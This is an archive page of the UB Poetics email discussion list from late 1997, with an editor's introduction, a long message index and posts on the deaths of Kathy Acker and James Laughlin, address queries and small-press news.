> *Miami University, Oxford, Ohio 45220*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

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573. **raea100900**

Re: Kathy Acker

Sun 30 Nov 1997

Kathy died last night in a Tijuana treatment center. Reportedly, her death was "peaceful."

Rae A.

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574. Douglas

James Laughlin

Sun 30 Nov 1997

I just returned from two weeks in Paris, where I
was participating in the poetry Biennale; accordingly
I was unable to participate in the conversations
surrounding J Laughlin and New Directions. However,
while in Paris, the LA WEEKLY asked me to write a
small piece of Laughlin, and I thought some of you
might be interested in my comments.

I write from Paris, where, for literary reasons, I have been visiting the great cemetaries of thecity: Pere Lachaise, Montparnasse, Montmartre and Passy. And suddenly the writer Jerome Rothenberg reports the death of James Laughlin. I use the word SUDDENLY, not because one did not expect the death--J, as his friends called him, was 83--but because for so many decades now, Laughlin's publishing house, New Directions, has demonstrated that there could be something in American literature other than that produced by the commerical conglomerates, and because those of us who took that lesson to heart could never have properly prepared ourselves for its founder's passing and, thus, its possible absence from the American scene. The young would-be poet who visited Ezra Pound in Italy certainly did not appear a likely candidate for either profession. As the heir to the Inland Steel company, he might have been expected to have chosen other, less problematic avocations. Pound pronounced Laughlin "not much of a poet" and suggested he "do something useful like publishing." It is part of Laughlin's genius that he took Pound's advice-- along with his writing. Beginning in 1936, Laughlin began to publish Pound and the work of othr poets recommended to him: William Carlos Williams, Dylan Thomas, George Oppen, Carl Rakosi, and Kenneth Rexroth (who himself would later serve as an un- official advisor). He reprinted important works of American fiction such as Djuna Barnes's NIGHTWOOD, Gertrude Stein's THREE LIVES and Nathanel West's MISS LONLEYHEARTS, and added drama to his list with the plays of Tennessee Williams. What was even more amazing about Laughlin, however, was that he not only published these authors--there have been a number of wealthy men and women who have treated publishing as a philanthropic hobby--but committed himself to many of these writers over several decades, bringing out their every book. From his home in Connecticut and his somewhat dowdy but serviceable offices in New York, Laughlin built up a loyal and partisan staff of editors--who through the years have included the late Robert MacGregor (for many years his right-hand man), Griselda Ohannessian, the translator and novelist Peter Glassgold, Peggy Fox, Barbara Epler and others--helping him to acquire and edit books by some of the most important

writers of the century: Louis-Ferdinand Céline, Eugenio Montale, Federico Garcia Lorca, St.-John Perse, Raymond Queneau, Octavio Paz, Mikhail Bulgakov, Anonio Tacucchi, Clarice Lispector, Kamu Braithwaite, and Bei Dao, to name only a few. American writing, however, remained at the center of New Directions' ventures. Its list of American writers is for- midable, including John Hawkes, Robert Duncan, Michael McClure, Henry Miller, Gary Snyder, Lawrence Ferlinghetti, Guy Davenport, Toby Olson, Jerome Rothenberg, David Antin, and, in recent years, Bernadette Mayer, Susan Howe, Michael Palmer, and my own collection of writers of "Language" poetry. Laughlin was not only loyal and imaginativae in his pub- lishing activities, but, despite Pound's abjuration, he con- tinued to write his own poetry--was prolific in fact. He generally chose not to publish his own poems, which may have contributed to his neglect. But in recent years, collections have appeared under the imprints of several smaller presses, and his POEMS: NEW AND SELECTED is dure out this spring from New Directions. The poet-publisher is a rarity, and James Laughlin brought something far more importnat than money and commitment to publishing; he brought a vision--in a period of an ever-expanding drive for simplicity of information, in a time of news "briefs" and "blips," computer "hits," and formulaic writing in literature, film and television--a vision that believed in the complexity of human language and thought. The books of New Directions are generally entertaining and enjoyable to read, but they offer something more: human confusion, uncertainty, doubt. When reading them, one is often frustrated, pained, angered, even infuriated. In breif, they represent the beautifully rich and terrorizing tapestry of human life. No bromides, quick winks and asides, no stereotypical characterizations here. For years Laughlin's books appeared bound in covers printed only in black and white; it was almost as if the books them- selves invited careful scrutiny before one entered their pages. And when one did enter, the entire world opened up. It is hard to explain that effect on young and often starving minds. In the middle of Iowa, my adolescent fists found that the books of this great poet-publisher were a natural fit, and the mind was made to come alive.

Douglas Messerli

↑ Index

575. **Douglas**
errors in Laughlin
Sun 30 Nov 1997

A few corrections to the letter on J. Laughlin
just sent.

First paragraph: line 6 : small piece ON Laughlin

Fifth paragraph: Antonio Tabucchi

Seventh paragraph: imaginative in his publishing activities his POEMS: NEW AND SELECTED is due out

Eighth paragraph: line 2 something far more important
line 9 In brief, they represent

Sorry for the errors in my quick typing.

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576. **rsillima**
Natacha Lallemand
Sun 30 Nov 1997

Does anybody have an address, physical or virtual, for Natacha Lallemand, a student at the Sorbonne? If so, please back-channel me or call directly.

Thanks!

Ron Silliman
[redacted]

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1997

437 messages · Mon 1 Dec 1997 – Wed 31 Dec 1997

December was the quietest month in two years — four hundred and thirty-six letters, Kyoto mentioned four times, the year winding down — and it produced, almost by accident, the single most honest document in this archive. It began on the eighth with a small advertisement. M. L. Weber edits a magazine called Sugar Mule, and the next issue was to be women's writing with an emphasis on the natural world; all genres welcome; email only; deadline the twentieth of January. Thank you. That is the entire post. Forty letters came of it.

Jerry Fletcher started them, saying the notice raised a topic of socio-political interest, and offering the view that *"the quality of men's writing has gone down"* as men's political issues have diminished. The room took that up with more patience than it deserved and then, underneath it, got to the real question, which is whether women are in fact underrepresented here and in the magazines. Judy Roitman put the case in one line — there may be more equity now, but *"women are still left out of history, including literary"*. Harold Rhenisch went and looked at the current Malahat Review and reported the tally: *"18 women; 18 men"*. And then David Israel did something nobody on this list has done before or since.

He counted the room. He ordered a fresh copy of the subscriber list off the Listserv computer — five hundred and sixty-two identified subscribers, two concealed, nineteen countries, four hundred and sixty-three American addresses — and sat down and read it through, ticking off the female names. He got a hundred and fifty-two. Then he did the thing that makes the post worth printing: he attacked his own method, at length, before anybody else could. He does not know how to tell the gender of a Japanese name from its syllables. What is he to do about subscribers who use initials? Some people are subscribed twice, or three times. Correcting for all of it, he thought the real figure might be two hundred, possibly two hundred and twenty-five — call it forty per cent.

Which settles nothing, and he says so. It is not the extreme male majority somebody had asserted; it is not the parity somebody else had. And the number he actually wanted, he notes, is not this one: a diehard statistician, he says, would count the ratio of posts rather than of subscribers — who speaks here, not who is on the roll — and would probably find it worse. He did not do that count. He signed off in six words: *"end of statistics / no conclusions"*.

Consider what he was doing. In February, Ron Silliman had spent thirty-seven letters proving to this room that a poet's name is an invention — that Duncan was christened Symmes, that Armantrout was born Korkegian, that names are particularly unstable things where people are concerned. Ten months later the room wanted to know what it was made of, and the only instrument it had was the roll of its own names, and a man read them one by one and guessed. I have set Weber's advertisement and Israel's count at either end of this volume, because a room that could never define a word went out in December and tried to count itself instead — and found it could not tell, from the names, who was in it.

— Kristen M. Fabians

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5. henry — Re: Waldrop
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7. Harold Rhenisch — poetics under the jackboot
8. Douglas Barbour — Re: James Laughlin
9. David W. Clippinger — Re: Waldrop
10. W. Freind — Re: poetics under the jackboot
11. Charles Bernstein — SPD web site
12. Steve Carll — Fwd: Kathy Acker
13. Robert J Tiess — An Invitation to Submit

2 DEC 1997

14. Maria Damon (Maria Damon) — announcement
15. Fraser Thomas — The future of poetics!
16. David R. Israel — cosmicrobia
17. Catherine Daly — Acker Benefit
18. Robert J Tiess — Poetfest (erratum)
19. Jacques Debrot — Re: Lit Mags
20. Loss Pequen~o Glazier — Kathy Acker
21. Judy Roitman — 501(c)3
22. tony lopez — postmodern poetry conference 98
23. Jennifer Drake — CFP: Comparative American Poetries (1/10; ASA 11/98)
24. Christopher Alexander — Re: phenomena
25. Mark Weiss — Re: 501(c)3
26. KENT JOHNSON — so much for Dasein
27. Kenneth Goldsmith — This is a riot!

3 DEC 1997

28. david bromige — thanks kenneth goldsmith!
29. Stephen Cope — query
30. David W. Clippinger — Re: Taggart
31. Daniel Zimmerman — Re: The future of poetics!
32. Harold Rhenisch — Re: poetics under the jackboot
33. Jordan Davis — There's A Riot Going On, We're Lions in Slumber (was: It Just Dasein , Matte...
34. Eric Blarnes — Re: the future of poetics!
35. Mary Burger — Announcing idiom #3 online magazine
36. Judy Roitman — Re: Announcing idiom #3 online magazine

4 DEC 1997

37. Garrett Kalleberg — Kathy Acker Requiem
38. MillettiC — call for submissions
39. KENT JOHNSON — somewhat esoteric query
40. Maria Damon — self-promo unabashed
41. Maria Damon — Re: Kathy Acker Requiem
42. Kenneth Goldsmith — The Right Blonde
43. nuyopoman — Subject: Re: poetics under the jackboot
44. Lawrence Upton. — Re: somewhat esoteric query
45. Harold Rhenisch — Re: anti-shakespeare

46. Pritchett,Pat — Re: Marks et al in ABR
47. Henry Gould — anti-shakespeare
48. Mark Weiss — Re: anti-shakespeare
49. Jordan Davis — textual perversity in new york
50. Lawrence Upton. — oops - not for the first time
51. Mark Weiss — (no subject)

5 DEC 1997

52. Miekal And — Re: call for submissions
53. Miekal And — Re: call for submissions
54. Alan Myouka Sondheim — Iroiro
55. Gwyn McVay — pronunciation
56. William Marsh — Re: Marks et al in ABR
57. Jordan Davis — Re: pronouncement
58. dbkk — Raddle Moon reading in San Francisco
59. dbkk — SPT: Shurin, Ferguson, Allison, Gomez
60. Pierre Joris — Reading
61. Dean A. Brink — Re: Iroiro
62. Steven Marks — Re: Marks et al in ABR
63. Brent Long — Help!
64. Daniel Zimmerman — Re: Help!

6 DEC 1997

65. David R. Israel — Re: Iroiro
66. Loss Pequen~o Glazier — EPC Regen
67. david bromige — rceiving mail
68. Alan Myouka Sondheim — Re: Iroiro
69. MillettiC — Re: rceiving mail
70. Mark Weiss — (no subject)
71. Daniel Carter — invalid claim withdrawn: inaccessible detour
72. Harold Rhenisch — Re: rceiving mail
73. joel lewis — Re: pronunciation

7 DEC 1997

74. Louis Cabri — few ago
75. KENT JOHNSON — Iroiro and Orientalism
76. Cadaly — Re: Iroiro and Orientalism
77. Franklin Bruno — a few questions
78. Rachel Loden — Re: a few questions
79. Bob Grumman — Poetics Taxonomy at Comprepoetica
80. Dean A. Brink — Re: Iroiro and Orientalism

8 DEC 1997

81. Christopher W. Alexander — address query hell: Michael Gizzi?
82. Christopher W. Alexander — spit shine and polish (not the ethnicity)
83. Tosh — Iroiro and Orientalism
84. Louis Cabri — (no subject)
85. Rob Hardin — FREE! NEW! Today's Revolutionary One-On-One Pocket Pastor!
86. robert drake — Forward: Edgardo Antonio Vigo
87. Alan Myouka Sondheim — Re: Iroiro and Orientalism
88. Rachel Levitsky — Re: Iroiro and Orientalism
89. Gwyn McVay — Line of Okay--Re: Iroiro and Orientalism
90. KENT JOHNSON — Re: Iroiro and Orientalism
91. Mark Wallace — primitive publications
92. MLWeber — invitation to women writers
93. Robert Archambeau — Fall '96 New Hampshire Conference
94. Jordan Davis — Poet to bring out creativity in retail staff

95. KENT JOHNSON — Orientalist haibun (with cups of sake four)
96. Mark Weiss — Re: Orientalist haibun (with cups of sake four)
97. Poetics List Administration — Two New Books from ROOF
98. Alan Myouka Sondheim — Re: Orientalist haibun (with cups of sake four)
99. Dean A. Brink — Re: Orientalist haibun (with cups of sake four)
100. Alan Myouka Sondheim — Re: Orientalist haibun (with cups of sake four)
101. Alan Myouka Sondheim — Re: Orientalist haibun (with cups of sake four)

9 DEC 1997

102. Harold Rhenisch — Re: Poet to bring out creativity in retail staff
103. Mark Weiss — Re: Orientalist haibun (with cups of sake four)
104. Louis Cabri — Re: Poet to spit shine Line of Okay one-on-one
105. Mark Wallace — Re[2]: primitive publications (fwd)
106. Alan Myouka Sondheim — Re: Orientalist haibun (with cups of sake four)
107. Alan Myouka Sondheim — Iroiro
108. KENT JOHNSON — Orientalist haibun
109. Jerry E. Fletcher — Re: invitation to women writers
110. aerialedge — upcoming DC readings
111. Pritchett,Pat — Re: Iroiro
112. William Burmeister Prod — Re: Iroiro
113. KENT JOHNSON — Orientalist haibun
114. david bromige — The Right Blonde
115. William Marsh — Re: invitation to women writers
116. Mark Weiss — Re: Orientalist haibun
117. Rosemary Ceravolo — Re: CERAVOLO pronunciation
118. Gwyn McVay — Re: Orientalist haibun
119. Mark Weiss — Re: Orientalist haibun
120. Brent Long — Suggestions?
121. J. Tate — Keats
122. tristan saldana — Re: Suggestions?
123. Jena Osman — new Lauterbach book
124. Jordan Davis — Re: Suggestions?
125. Safdie Joseph — Re: Keats
126. Robin Morris — Re: Keats
127. KENT JOHNSON — The Nation
128. Stacie E. Slotnick — Re: Keats and pantoums
129. Pritchett,Pat — Re: new Lauterbach book
130. Pritchett,Pat — Re: Keats
131. David Gitin — Re: Keats
132. CharSSmith — Re: Suggestions?
133. Michael Magee — Re: new Lauterbach book
134. Shemurph — pantoum

10 DEC 1997

135. Dan or Orion Raphael Dlugonski — poem beginning with a line from the Mickey Mouse Club
136. Rob Hardin — (no subject)
137. John Tranter — Weinberger's Laughlin tribute also in Jacket # 2
138. Mark foutu — Laughlin tribute in Cambridge
139. Patricia Cockram — Re: invitation to women writers
140. david bromige — keats
141. Jerry E. Fletcher — Re: invitation to women writers
142. Miekal And — Re: Posting poems to the list
143. Sylvester Pollet — Re: Suggestions?
144. Maria Damon — Re: invitation to women writers
145. Maria Damon — Re: keats
146. lefthandb — New release from Left Hand Books
147. Annie Finch — Re: Orientalist haibun (with cups of sake four)

148. Annie Finch — Re: Suggestions?
149. Brent Long — Re: pantoum
150. Alan Myouka Sondheim — Re: Iroiro
151. Mark Prejsnar — Re: Suggestions?
152. Jacques Debrot — Re: Posting poems to the list
153. Harold Rhenisch — Re: Machismo Bush
154. J. Tate — Thanks for Keats references
155. tony lopez — Forwarded: sum temporaree home
156. William Burmeister Prod — Re: Posting poems to the list
157. Michael D Basinski — Re: Rakosi
158. Annie Finch — Re: pantoum
159. Dean A. Brink — Re: Orientalist haibun (with cups of sake four)
160. JforJames — Re: pantoum
161. Stacie Slotnick — Re: pantoum
162. Robin Morris — Re: invitation to women writers
163. Jordan Davis — Re: Posting poems to the list
164. MLWeber — invitation to women writers once again
165. Laura Moriarty — Re: Posting poems to the list
166. L.MacMahon and T.R.Healy — Re: Posting poems to the list
167. Judy Roitman — Re: invitation to women writers
168. Layne Russell — Re: Posting poems to the list
169. John Tranter — Correct URL for the Laughlin obit piece in Jacket
170. Christopher W. Alexander — Re: Iroiro
171. David Israel — A Codrescu Xmas
172. William Burmeister Prod — Re: A Codrescu Xmas
173. Judy Roitman — Re: pantoum
174. Mark Weiss — (no subject)
175. Rachel Loden — Hoover pantoum, Tranter _Jacket_
176. Cadaly — Re: invitation to women writers
177. David Israel — Re: pantoum
178. Ron Androla — Re: Posting poems to the list
179. groberts — Warning: contains distasteful poem.
180. CharSSmith — Re: Posting poems to the list
181. Marcella — address
182. David R. Israel — Re: Iroiro

11 DEC 1997

183. Patricia Cockram — Re: invitation to women writers
184. Patricia Cockram — Re: pantoum
185. Mark Weiss — Re: invitation to women writers
186. Louis Cabri — yesterday's digest
187. David R. Israel — Re: invitation to women writers
188. David R. Israel — Re: Iroiro
189. Christopher W. Alexander — Re: Iroiro
190. Jordan Davis — Re: Machismo Bush
191. Christopher W. Alexander — My Little Pony, er Query
192. Jerry E. Fletcher — Re: Warning: contains distasteful poem.
193. Jerry E. Fletcher — Re: invitation to women writers
194. Bob Grumman — Re: invitation to women writers
195. groberts — canned laughter
196. Harold Rhenisch — Re: Machismo Bush
197. Judy Roitman — Re: Machismo Bush
198. Mark Weiss — Re: invitation to women writers
199. r.drake — Re: My Little Pony, er Query
200. William Burmeister Prod — fOUnd POEm
201. Harold Rhenisch — Re: invitation to women writers

202. Harold Rhenisch — Re: invitation to women writers
203. Harold Rhenisch — Re: Machismo Bush
204. Mark Baker — Re: Machismo Bush
205. David Israel — Lafcadio Hearn
206. Layne Russell — Re: Posting poems to the list
207. Alan Myouka Sondheim — Re: Iroiro
208. Mark Weiss — Re: a modest proposal
209. Annie Finch — Re: pantoum
210. Harold Rhenisch — Re: Machismo Bush
211. David Israel — Re: pantoum
212. Mark Weiss — a modest proposal

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213. George Bowering — Re: Machismo Bush
214. Daniel Zimmerman — Re: Machismo Bush
215. Susan Wheeler — Re: POETICS Digest - 10 Dec 1997 to 11 Dec 1997
216. Jeff Hansen — clinton
217. robert drake — CybpherAnthology update & invitation
218. Jordan Davis — Re: Machismo Bush
219. Susan Wheeler — Digest Flub
220. Douglas Barbour — Re: anti-union? You bet!
221. Douglas Barbour — Re: Machismo Bush
222. Judy Roitman — Re: Machismo Bush
223. Mark Prejsnar — Re: clinton
224. Judy Roitman — Diction
225. Harold Rhenisch — Re: Machismo Bush
226. Harold Rhenisch — Re: Machismo Bush
227. William Burmeister Prod — Re: Machismo Bush
228. Harold Rhenisch — Re: anti-union? You bet!
229. Steven Marks — rationally visual math
230. William Burmeister Prod — Re: Diction
231. Mark Weiss — Re: Machismo Bush
232. Bob Grumman — Ralph Klein and Comprepoetica

13 DEC 1997

233. Mark Baker — Re: Machismo Bush
234. Patricia Cockram — Re: invitation to women writers
235. Patricia Cockram — Re: pantoum
236. Cadaly — Re: rationally visual math
237. Tom Orange — Machismo Harris
238. DANIEL L. COLLIER — Re: Diction
239. Annie Finch — Re: pantoum
240. Harold Rhenisch — Re: Machismo Bush
241. KENT JOHNSON — Four Sonnets for Annie Finch
242. Mark Weiss — Re: Machismo Bush
243. David R. Israel — Re: Diction

14 DEC 1997

244. Kasey Silem Mohammad Hicks — Re: Four Sonnets for Annie Finch
245. Louis Cabri — Re: Machismo Bush Re: Machismo Harris
246. Mark Weiss — Re: Four Sonnets for Annie Finch
247. Jordan Davis — Scairy
248. David R. Israel — riff du jour
249. L.MacMahon and T.R.Healy — new arrival
250. Jerry E. Fletcher — Re: Machismo Bush NOTE: Overly long and venemous diatribe of festerin…
251. Jerry E. Fletcher — Re: invitation to women writers

252. Susan Schultz — Re: new arrival
253. Annie Finch — A Dactylic Tetramete-Based Envelope Quatrain, Followed by a Passage of Prose,...
254. KENT JOHNSON — Re: Four Sonnets for Annie Finch
255. KENT JOHNSON — Re: Four Sonnets for Annie Finch
256. Mark Weiss — Re: invitation to women writers
257. Jerry E. Fletcher — Re: invitation to women writers
258. Harold Rhenisch — Re: anti-union? You bet!
259. Jerry E. Fletcher — Re: anti-union? You bet!
260. Jerry E. Fletcher — Re: Diction
261. Maria Damon — Re: new arrival

15 DEC 1997

262. Hugh Steinberg — Re: Four Sonnets for Annie Finch
263. John Cayley — poesie[sous rature] & informatique
264. Mark Weiss — Re: Four Sonnets for Annie Finch
265. Bob Grumman — Sonnets, Dissonnets, Nonnets, Eceterants
266. Alan Myouka Sondheim — Voice
267. Sylvester Pollet — Re: Voice
268. Pritchett,Pat — Re: new arrival
269. Christopher W. Alexander — vacancy, I mean vacation
270. Judy Roitman — Re: Sonnets, Dissonnets, Nonnets, Eceterants
271. KENT JOHNSON — Niedecker/Padin
272. groberts — O, Sonnet!
273. KENT JOHNSON — "?"
274. Mark Weiss — Re: Four Sonnets for Annie Finch
275. david bromige — The Lost Sites of Webworld
276. Bob Grumman — Re: "?"
277. Bob Grumman — Re: Sonnets, Dissonnets, Nonnets, Eceterants
278. William Burmeister Prod — Re: The Lost Sites of Webworld
279. Juliana Spahr — praying, protesting

16 DEC 1997

280. David Dowker — Re: Machismo Bush Re: Machismo Harris
281. David R. Israel — "no one writes vallanelles . . . "
282. Miekal And — not just any word
283. Sylvester Pollet — oops
284. Gwyn McVay — Re: Orientalist haibun
285. Miekal And — viva la zaumnaya
286. Miekal And — Re: Manifestos
287. KENT JOHNSON — Yasusada's Jacket
288. Mark Prejsnar — Misc. Proj. 4 is out
289. Safdie Joseph — Re: lost in the web
290. tony lopez — lost in the web
291. Matthew Roberson — Re: Manifestos
292. Miekal And — Re: Manifestos -Reply
293. jarnot — Tom Carey & Tomaz Salamun at the Poetry Project
294. Patricia Cockram — Re: Diction
295. Patricia Cockram — Re: Diction
296. Jacques Debrot — Re: Manifestos
297. Kristen Gallagher — Re: Manifestos
298. Maria Damon — Re: Manifestos
299. Scott Pound — Re: Manifestos
300. William Burmeister Prod — Re: Manifestos
301. Tom Beard — Re: Manifestos
302. Jack Foley — Re: Manifestos -Reply
303. Gwyn McVay — Re: Manifestos -Reply

304. Jacques Debrot — Re: Manifestos
305. Douglas — Re: Manifestos
306. { brad brace } — *** Psychic Cleansing from Arts Administrators and Faculty-Artists ***
307. Bob Grumman — Re: not just any word
308. Marcella Durand — Re: Misc. Proj. 4 is out
309. Joel Felix — Re: The Lost Sites of Webworld
310. Maria Damon — Re: Manifestos -Reply

17 DEC 1997

311. aerialedge — Re: Manifestos
312. dbkk — Kathleen Fraser tribute
313. Herb Levy — Re: Kathleen Fraser tribute
314. Herb Levy — The standard oops
315. Miekal And — Re: Manifestos
316. Annie Finch — manifestoes
317. Mark Prejsnar — Re: Misc. Proj. 4 is out
318. William Marsh — Re: Manifestos
319. Maria Damon — wieners & bernstein
320. Burt Hatlen — Re: Kathleen Fraser tribute
321. Maria Damon — Re: Manifestos
322. Aldon Nielsen — (no subject)
323. Miekal And — gather around me brothers & sisters & ye shall.....
324. lee ann brown — Re: POETICS Digest - 30 Nov 1997 to 1 Dec 1997
325. Hugh Steinberg — Re: manifestoes
326. Henry Gould — Re: manifestoes
327. Charles Bernstein — New works on web
328. Steven Marks — Re: wieners & bernstein

18 DEC 1997

329. Laurie Schneider/Crag Hill — Manifestos
330. dbkk — Ngai and Farrell at SPT
331. david bromige — The Dictionary of Received Ideas
332. Miekal And — kanji
333. Miekal And — experimedia simplexity: a manifesto festering
334. Kathleen Crown — MLA Poetry Reading
335. Miekal And — as the world turns
336. Jacques Debrot — Re: Manifestos ridiculous?
337. KENT JOHNSON — Manifestos/Padin
338. Jordan Davis — Reading / manifestore
339. Safdie Joseph — Re: Vacation
340. Jacques Debrot — Re: Boston Review URL
341. r.drake — Re: kanji
342. Sylvester Pollet — Re: Vacation
343. Laura Moriarty — MLA talk, kiss-off and non
344. Alan Myouka Sondheim — Re: kanji
345. Juliana Spahr — reading report from Honolulu, two
346. Pierre Joris — Re: Vacation
347. Carolyn Guertin — Manifesto for the Unstable Media

19 DEC 1997

348. joel lewis — rhythmic grumbling department
349. John Cayley — kanji
350. David Israel — Re: Vacation
351. Henry Gould — recommended drudgery
352. Bob Grotjohn — Looking for an essay
353. David Kellogg — Re: Looking for an essay
354. Robin Morris — Re: Vacation

355. Herb Levy — Re: Looking for an essay
356. William Burmeister Prod — Re: recommended drudgery
357. RaeA100900 — Re: Looking for an essay
358. RaeA100900 — Re: Looking for an essay
359. Michael Coffey — Re: Vacation -Reply
360. Bob Grumman — Re: recommended drudgery

20 DEC 1997

361. Miekal And — electronic paper
362. rsillima — Rae's essay
363. David Kellogg — Rae and cladistics; signing off till early January

21 DEC 1997

364. Miekal And — Re: Electronic Paper
365. rsillima — Electronic Paper
366. Blair Seagram — Re: POETICS Digest - 18 Dec 1997 to 19 Dec 1997
367. Maz881 — da happy kine
368. robert drake — Re: Electronic Paper
369. Henry Gould — Re: da happy kine

22 DEC 1997

370. nico vassilakis — Think of the Self Speaking (fwd)
371. nico vassilakis — Gertrude Stein (Films?
372. Mark Baker — Yeah, yeah, said who?
373. Jordan Davis — Re: Yeah, yeah, said who?
374. Julie Marie Schmid — Re: Gertrude Stein (Films?
375. Mfranco34 — Re: STEIN FILMS
376. Alan Myouka Sondheim — Julu-Traditional-Poem by Jennifer

23 DEC 1997

377. David R. Israel — Re: Yeah, yeah, said who?
378. Franklin Bruno — Re: POETICS Digest - 21 Dec 1997 to 22 Dec 1997
379. lee ann brown — Re: POETICS Digest - 20 Dec 1997 to 21 Dec 1997
380. robert drake — another passing...
381. aerialedge — New Anselm Berrigan chapbook
382. Suzanne Burns — Re: another passing...
383. Poetics List — Denise Levertov (1923-1997)
384. pritchpa — Re: Denise Levertov
385. Henry Gould — Denise Levertov
386. david bromige — Denise Levertov, deceased
387. George Bowering — Re: another passing...

24 DEC 1997

388. George J Farrah — Re: Denise Levertov
389. Jill A Mccartney — Re: Gertrude Stein Films
390. Jill A Mccartney — Re: gertrude stein films
391. Douglas Barbour — Re: Denise Levertov
392. Lawrence Upton. — Re: kanji
393. Douglas Barbour — Re: Denise Levertov

25 DEC 1997

394. David R. Israel — Re: Gertrude Stein Films
395. David R. Israel — Re: kanji
396. Brian Carpenter — Re: Gertrude Stein Films
397. Susan Wheeler — Holiday L, R or G

26 DEC 1997

398. Miekal And — Re: Manifestos

399. Miekal And — who needs poetry when you have error messages
400. Hank Lazer — Re: Denise Levertov, deceased
401. henry gould — Re: Denise Levertov, deceased
402. Jacques Debrot — Re: Joris website
403. david bromige — tony lopez messages bouncing
404. Douglas Barbour — Re: POETICS Digest - 24 Dec 1997 to 25 Dec 1997
405. david bromige — snailmail address of suny buffalo eng dept
406. George Bowering — Re: POETICS Digest - 24 Dec 1997 to 25 Dec 1997
407. armand schwerner — Gertrude Stein' Making of Americans reading

27 DEC 1997

408. Alan Myouka Sondheim — Color Words Such as White
409. Alan Myouka Sondheim — error (fwd)
410. David R. Israel — PS122 website & zine
411. David R. Israel — The Lopez connundrum

28 DEC 1997

412. Alan Myouka Sondheim — The Book
413. Lawrence Upton. — Re: The Lopez connundrum
414. Susan Wheeler — Re: POETICS Digest - 26 Dec 1997 to 27 Dec 1997
415. david bromige — snailmaildress : got it!
416. Jordan Davis — What is eternal vigilance, Alex?
417. Marcella Durand — New Year's Marathon

29 DEC 1997

418. Jordan Davis — Re: What is eternal vigilance, Alex?
419. Jordan Davis — Competition Winner
420. Alan Myouka Sondheim — (from someone named Sarah Kanji)
421. Poetics List — Call for Papers: Future of Narrative
422. Jack Spandrift — Re: Call for Papers: Future of Narrative
423. Mark Weiss — Re: Call for Papers: Future of Narrative
424. Michael Coffey — Re: Call for Papers: Future of Narrative -Reply
425. henry — Re: Call for Papers: Future of Narrative
426. Henry Gould — Re: Call for Papers: Future of Narrative
427. Maria Damon — another

30 DEC 1997

428. Mark foutu — Future of Narrative BACK to the future

31 DEC 1997

429. Miekal And — testing..1,2,3, (or tasting integers)
430. sylvester pollet — Dec 31
431. Mark Prejsnar — testing..1,2,3,
432. sylvester pollet — Re: testing..1,2,3,
433. Henry Gould — Re: testing..1,2,3,
434. pritchpa — Re: testing..1,2,3,
435. Pete Landers — Re: Call for Papers: Future of Narrative
436. Lawrence Upton. — Re: testing..1,2,3,
437. Scott Pound — Re: testing..1,2,3,

1. Robert J Tiess
Permission to Post
Mon 1 Dec 1997

I would like to ask the list owner/moderator if it is
permissible to post a "call for submissions" for my free
poetry publication on the web. Thank you. - RJT

↑ Index

2. rsillima
Missing message
Mon 1 Dec 1997

Hmm, the core of my message appears to have been dropped. So, try again:

Does anybody have an address, physical or virtual, for Natacha Lallemand, a student at the Sorbonne? If so, please back-channel me or call directly.

Thanks!

Ron Silliman
[redacted]

↑ Index

3. David W. Clippinger
Waldrop
Mon 1 Dec 1997

Could someone please back channel me Keith Waldrop's address. I would
greatly appreciate it.

David Clippinger

↑ Index

4. Douglas
Re: Announcing Proliferation #4 issue & Contributors' Reading
Mon 1 Dec 1997

Mary, could you please send me a copy so that
I can consider the poems for THE GERTRUDE STEIN
AWARDS IN INNOVATIVE POETRY.

Thanks.
Douglas Messerli
6026 Wilshire Boulevard

Sun & Moon Press
Los Angeles, CA 90036

Mary Burger wrote:
>
> Proliferation #4 is now available, with work by Susan Gevirtz, Stephen
> Ratcliffe, Pamela Lu, Renee Gladman, Dan Bouchard, Beth Anderson, Joseph
> Torra, Tan Lin, Bill Lavender, Laura Moriarty, Leslie Scalapino, and more.
>
> BAY AREA CONTRIBUTORS' READING:
> Friday, Nov. 14, 7:30 p.m.
> Modern Times Bookstore
> Valencia St. & 20th St.
> San Francisco
>
> ISSUE available from:
> * Modern Times Bookstore
>
> * The Editors: (send check for $9.50 including postage, payable to M.
> Burger or C. Vitiello)
> Mary Burger, 1253 Hampshire St., San Francisco CA 94110
> or
> Chris Vitiello, 2707 Farthing St., Durham NC 27704
>
> *Small Press Distribution - coming soon!
> [redacted]
> [redacted]

↑ Index

5. **henry**
Re: Waldrop
Mon 1 Dec 1997

The Waldrops & Burning Deck Press are at 71 Elmgrove Ave, Providence, RI 02906

- Henry Gould

↑ Index

6. henry gould
apology
Mon 1 Dec 1997

Very sorry List, should have back-channeled that address. dang reply key! & sorry, addressee! - HG

↑ Index

7. Harold Rhenisch
poetics under the jackboot
Mon 1 Dec 1997

A bizarre little piece of propaganda: as an 11 year old boy in Germany during WWII, my father received school instruction in the evils of Shakespeare. Seemingly, Shakespeare was proof of the visciousness of the English, and of their lack of imagination and culture--a true barbarian who was unable to end his plays in any manner other than the slaughter of everyone on stage. This was portrayed as the ultimate in stupidity.

An attempt at political resistance, or just a horrific irony?

Harold Rhenisch

↑ Index

8. Douglas Barbour
Re: James Laughlin
Mon 1 Dec 1997

Thanks to Douglas Messerli for his thought-full memoir/eulogy of James Laughlin. Whatever 'we' might think of Pound, or even of Laughlin's poetry, I think Douglas caught both the import of his life-work with ND, & what those little b&w paperbacks could mean to so many young readers who had previously known only the pocketbooks at the corner drugstore...Of course, the hardback NDs were nice to hold too, if one could afford the awful cost of $3 or $4 (way back when)...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

> *Harold Rhenisch*

↑ Index

11. Charles Bernstein
SPD web site
Mon 1 Dec 1997

still developing, but an important web site for independent publishing even at this stage --

Small Press Distribution --

http://www.spdbooks.org/

↑ Index

12. Steve Carll
Fwd: Kathy Acker
Mon 1 Dec 1997

Just had this forwarded to me from Jack Foley.

> *From sjcarll Mon Dec 1 10:40:36 1997*
>
> *Jack,*
>
> *Checks for the Kathy Acker Fund should be made out to GIORNO POETRY SYSTEMS.*
> *You can send checks to ATTICUS BOOKS--1508 U Street, NW--Washington, DC 20009.*
>
> *Kathy Acker died November 30 at 1:30 am PST.*
>
> *Sad news.*
>
> *Lucinda*

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

